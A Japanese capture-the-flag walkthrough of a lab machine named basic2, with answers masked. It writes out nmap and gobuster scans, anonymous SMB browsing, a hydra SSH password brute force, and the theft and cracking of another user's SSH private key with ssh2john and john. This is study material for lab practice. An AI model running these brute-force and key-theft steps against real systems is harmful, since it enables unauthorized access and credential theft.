面倒じゃなくて、解答に直結しそうな部分は■で隠しています。
今回の問題は2段階の攻撃が必要です。
1段階: janでログインする
$ export IP=[YourIP] $ ping $IP
とりあえず入れて接続確認。まずはポートスキャン。
nmap
$ nmap -sC -sV $IP PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA) | 256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA) |_ 256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 8009/tcp open ajp13? | ajp-methods: |_ Supported methods: GET HEAD POST OPTIONS 8080/tcp open http-proxy? Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: 1h20m01s, deviation: 2h18m34s, median: 0s |_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computer name: basic2 | NetBIOS computer name: BASIC2\x00 | Domain name: \x00 | FQDN: basic2 |_ System time: 2021-05-11T09:16:57-04:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-05-11T13:16:58 |_ start_date: N/A
色々出てきたが、とりあえず80かな。
gobusterを回しながら見てみよう。
ポート80見てみる
ほう。gobusterを見てみよう。
$ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt http://$IP/.hta (Status: 403) http://$IP/.htaccess (Status: 403) http://$IP/.htpasswd (Status: 403) http://$IP/■■■■■■■ (Status: 301) http://$IP/index.html (Status: 200) http://$IP/server-status (Status: 403)
■■■■■■■■が怪しいのでhttp://$IP/■■■■■■■■/
をアクセスしてみる。
ディレクトリリスティングされてくるので、ファイルを見てみよう。
http://$IP/■■■■■■■■/j.txt
を見ると、JのCredentialsが弱いらしい。
とりあえず他を探しながらユーザー名Jでhydraを使ってパスワード総当たり回しておこう。
$ hydra -l J -P /usr/share/dirb/wordlists/rockyou.txt -o out.log -e ns $IP ssh
smbclient
http://$IP/■■■■■■■■/dev.txt
を見ると、SMBが動いているみたいなので、ちょっと覗いてみる。
smbclientで確かめてみる。
$ smbclient -L 10.10.147.141 Enter WORKGROUP\ctf's password: Sharename Type Comment --------- ---- ------- Anonymous Disk IPC$ IPC IPC Service (Samba Server 4.3.11-Ubuntu) SMB1 disabled -- no workgroup available
Anonymousがあった。つないでみる。
$ smbclient \\\\$IP\\Anonymous Enter WORKGROUP\ctf's password: Try "help" to get a list of possible commands. smb: \> dir . D 0 Fri Apr 20 02:31:20 2018 .. D 0 Fri Apr 20 02:13:06 2018 staff.txt N 173 Fri Apr 20 02:29:55 2018 14318640 blocks of size 1024. 11093992 blocks available smb: \> more staff.txt Announcement to staff: PLEASE do not upload non-work-related items to this share. I know it's all in fun, but this is how mistakes happen. (This means you too, Jan!) -Kay
JはJanだったか。改めてhydraを回そう。
hydraによるsshパスワード総当たり
Janだとうまくいかずjanにする必要がある。
$ hydra -l jan -P /usr/share/dirb/wordlists/rockyou.txt -o out.log -e ns $IP ssh [22][ssh] host: $IP login: jan password: ■■■■■■■■
パスワードが抜けるのでSSH接続しよう。
SSH
$ ssh jan@$IP jan@basic2:~$ ls jan@basic2:~$ pwd /home/jan jan@basic2:~$ cd ../ jan@basic2:/home$ ls -la total 16 drwxr-xr-x 4 root root 4096 Apr 19 2018 . drwxr-xr-x 24 root root 4096 Apr 23 2018 .. drwxr-xr-x 2 root root 4096 Apr 23 2018 jan drwxr-xr-x 5 kay kay 4096 Apr 23 2018 kay jan@basic2:/home/kay$ ls -la total 48 drwxr-xr-x 5 kay kay 4096 Apr 23 2018 . drwxr-xr-x 4 root root 4096 Apr 19 2018 .. -rw------- 1 kay kay 756 Apr 23 2018 .bash_history -rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout -rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc drwx------ 2 kay kay 4096 Apr 17 2018 .cache -rw------- 1 root kay 119 Apr 23 2018 .lesshst drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano -rw------- 1 kay kay 57 Apr 23 2018 pass.bak -rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh -rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful -rw------- 1 root kay 538 Apr 23 2018 .viminfo jan@basic2:/home/kay$
kayに他ユーザーにも閲覧権限がついてはいるが、pass.bakはkayじゃないとみられない。
.sshはあるので、kayのクレデンシャルを盗んでみる。
2段階: kayでログインする
John The Ripper
$ scp jan@10.10.113.100:/home/kay/.ssh/id_rsa ./ $ python2 /usr/share/john/ssh2john.py id_rsa > hash.txt $ john --wordlist=/usr/share/dirb/wordlists/rockyou.txt hash.txt ■■■■■■■ (id_rsa)
パスワードが特定できた。
ログインして最後の情報を抜き取る
$ ssh -i ./id_rsa kay@$IP kay@basic2:~$ ls pass.bak kay@basic2:~$ cat pass.bak ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■